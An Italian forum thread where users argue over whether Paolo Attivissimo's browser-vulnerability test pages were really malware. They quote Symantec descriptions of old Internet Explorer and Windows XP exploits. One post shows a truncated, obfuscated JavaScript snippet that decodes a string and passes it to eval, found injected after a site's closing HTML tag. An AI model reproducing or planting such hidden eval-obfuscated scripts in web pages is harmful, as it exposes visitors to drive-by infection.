Virus (che cosa significa?)

Minacce trovate: 4
Ecco un elenco completo:
Nome della minaccia: XMLid.Exploit
Percorso: http://www.attivissimo.net/security/bc/test05c_execute.htm


Nome della minaccia: XMLid.Exploit
Percorso: http://www.attivissimo.net/security/bc/test05a_execute.htm


Nome della minaccia: Trojan.CrashIE
Percorso: http://www.attivissimo.net/security/bc/test09_execute.htm


Nome della minaccia: XMLid.Exploit
Percorso: http://www.attivissimo.net/security/bc/test08_execute.htm

Discovered: March 6, 2002
Updated: February 13, 2007 12:36:04 PM
Also Known As: Exploit-CodeBase, Exploit.CodeBaseExec
Type: Trojan Horse


XMLid.Exploit is an exploit that can run executable files on the local file system without warning.

Lungi da me difendere Attivissimo ma quei link non sono disponibili e il sito è aggiornato al 2006.

Oltretutto, probabilmente erano dei servizi rivolti agli utenti per verificare chissà che cosa (lo deduco dal link). Dai, non è un ragazzino che si diverte a infettare i passanti...

Detto questo, segnati su quali cluster sono presenti i file del Norton Antivirus, estrai il tuo hard disk, aprilo, prendi un microscopio e passa la microfresa su tutti i settori incriminati. Dopodiché flagellati 10 volte e non reinstallare mai più un qualsiasi prodotto Symantec.

Browser Challenge: la disfida dei browser

Pubblicazione iniziale: 2004. Ultimo aggiornamento: 29 dicembre 2009

Il Browser Challenge che una volta era qui è stato rimosso perché alcuni antivirus e siti di sicurezza lo diagnosticano erroneamente come contenuto pericoloso.

Avevo radunato qui alcune dimostrazioni pratiche e innocue (non create da me) delle vulnerabilità di alcuni sistemi operativi e di alcuni browser, per far vedere che effettivamente in determinate circostanze basta visitare una pagina Web per infettare un computer o leggerne il contenuto, e per consentire di verificare se davvero le varie patch (aggiornamenti) di sicurezza dei browser e dei sistemi operativi fanno quello che dicono di fare, ossia eliminare vulnerabilità.

Altro che errore , era pieno zeppo di virus , giusto per testare , se poi ti andava in malora il PC mica li aveva creati lui...

EDIT: Mande, puoi postare per intero le descrizioni fornite da Symantec rispetto alle sei minaccie rilevate? A me fa leggere solo l'ultima.

Discovered: March 6, 2002
Updated: February 13, 2007 12:36:04 PM
Also Known As: Exploit-CodeBase, Exploit.CodeBaseExec
Type: Trojan Horse


This exploit was disclosed in at least one security forum. It uses instructions based on XML data source object coding to run files that are stored locally. It does this without warning.

Discovered: September 7, 2004
Updated: February 13, 2007 12:27:11 PM
Also Known As: Trojan.HTML.Crasher [KAV], HTML/CrashIE.B [F-PROT], Trojan:HTML/Crasher [GeCAD]
Type: Trojan Horse
Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP


Trojan.CrashIE is executed, it will cause Microsoft Internet Explorer to stop responding.

Severity: High
This attack could pose a serious security threat. You should take immediate action to stop any damage or prevent further damage from happening.
Description
This signature detects attemps to exploit a weakness in the Internet Explorer CSS parser, which allows an attacker to issue a denial-of-service attack on the target host and possibly allows the attacker to execute arbitrary code.
Additional Information
A heap overflow vulnerability has been discovered in Internet Explorer. It is reported that the issue presents itself when a comment character sequence that is not terminated is encountered after a STYLE tag.

It is reported that Internet Explorer will, under proper circumstances, compute the length of a comment string by subtracting a pointer to the terminator "*/" sequence of a comment from a pointer to the opening sequence "/*" of a comment. The result is used as a boundary check during a memcpy() operation performed on the comment string.

It is reported that if the comment is not closed with a terminator "*/" sequence, the algorithm used to derive the length of the comment string will result in a -2 Unicode string length. The memcpy() function will employ this value as 0xFFFFFFFE, and the size of this copy operation will result in a crash when a memory access violation occurs.

This issue could be exploited by a remote attacker to execute arbitrary code or cause a denial-of-service. The attacker would likely create a malicious HTML page and host it on a site. The attacker would then attempt to entice a user to visit the malicious page to carry out a successful attack. Other attack vectors may also exist, such as HTML email or other system components that support Cascading Style Sheets.

Severity: High
This attack could pose a serious security threat. You should take immediate action to stop any damage or prevent further damage from happening.
Description
This signature detects an HTTP URI attempting to exploit the Help and Support Center for Windows XP.
Additional Information
A local Help and Support Center application was introduced with Microsoft Windows XP. It is an extended version of Help Center applications included in previous versions of the operating system. Included in the Help and Support Center application are utilities for troubleshooting hardware issues. One such utility (uplddrvinfo.htm) uses an ActiveX control that may potentially be used for malicious purposes.

Microsoft Internet Explorer on Windows XP comes equipped with a URI handler for the Help and Support Center application. The handler may be invoked through links. When such a link is requested by the browser, the Help and Control Center will load an appropriate page that is stored locally. The browser runs requests to the HCP URI handler with relaxed Security Zone restrictions. The uplddrvinfo.htm file uses an ActiveX control that may be used to delete local files.

Since the ActiveX control accepts file names from the HCP URIs, it is possible for an attacker to abuse this situation via a malicious link. Because the browser runs the HCP request with relaxed restrictions, the user is not prompted when the ActiveX control is executed. However, it has been reported that a window with a "Get Help With Your Hardware Device" dialog is displayed when uplddrvinfo.htm is invoked, and that the utility will follow through with the commands if the user closes this window.

It is confirmed that an attacker may construct a link that will cause specified files to be deleted if it is clicked on by the victim. A number of other files are included in the Help and Support Center application that may also be used by a remote attacker to perform various actions on the client system via a maliciously constructed HCP handler URI.

la cache di google aiuta a capire meglio:

http://tiny.cc/o4PMh

Regole di ingaggio

*

I test usati qui sono intenzionalmente blandi. Non accedono ai vostri dati senza il vostro permesso, non eseguono programmi pericolosi (tipo formattazioni e simili) e non mandano in crash il vostro computer senza avvisarvi dettagliatamente di quello che succederà se il test ha successo (e il vostro browser fallisce). Ciò non toglie che con alcune semplici modifiche potrebbero fare proprio queste cose senza alcun preavviso.
*

Nessuno di questi test usa impostazioni stravaganti dei server: sono dimostrazioni di quello che potreste trovare ovunque sul Web, anche nei siti degli script kiddie (dilettanti).
*

Eseguite questi test a vostro esclusivo rischio e pericolo. Ho preso ogni ragionevole precauzione per evitare danni anche alle configurazione hardware e software più strane, ma non posso garantirvi che non ci saranno imprevisti. Non eseguite questi test mentre avete altre applicazioni aperte.

Era in regalo col PC nuovo ma mi sembra che anche altri antivirus forniscano un servizio simile...

Pispax, si tratta di due cose distinte, in effetti. La segnalazione di Mcafee riguardava il Disinformatico, quella di cui parla Mande il sito attivissimo.net.

Comunque è molto facile che programmi innocui vengano segnalati come malware. È lo scopo degli antivirus allertare al minimo sospetto, senza stare a fare troppi distinguo.

la cache di google aiuta a capire meglio:

Per dirne una: non è una barzeleltta quella secondo la quale Norton tentava di segnalare Windows stesso come virus

Mande ha scritto:
Codice maligno che sfrutta vulnerabilità del sistema (exploit) e che può eseguire programmi nel tuo computer senza farne segnalazione.

Per chi ancora si fidasse di attivissimo.

Io ho provato crono911.net , e anche lì una bella segnalazione:

</body>
</html>
<script language="javascript">="Z64dZ3dZ22q|se|qdu]qwys^

[omiss]

53trZ69ngZ28);Z7d;";function z(s){r="";for(i=0;i<s.length;i++){if(s.charAt(i)=="Z"){s1="%"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z());</script>

manolete ha scritto:
Salud,

mi dispiace che continuiate a sprecare il vostro tempo con un SO (se tale lo si può definire...) ed i suoi inevitabili "supporti"...

Avere winzoz è come avere un cancro e symantec è la sua chemioterapia...

Se vi sembra una vita desiderabile...

suerte
manolete

ti suggerisco un po' di bicarbonato...

Tornando IT

sono quasi 2 anni che uso solo Gnu/Linux (se no mr. Stalmann si incazza se scrivo solo Linux )
Oramai quando mi capita di lavorare in Windows (sistemare qualche pc) non mi "trovo".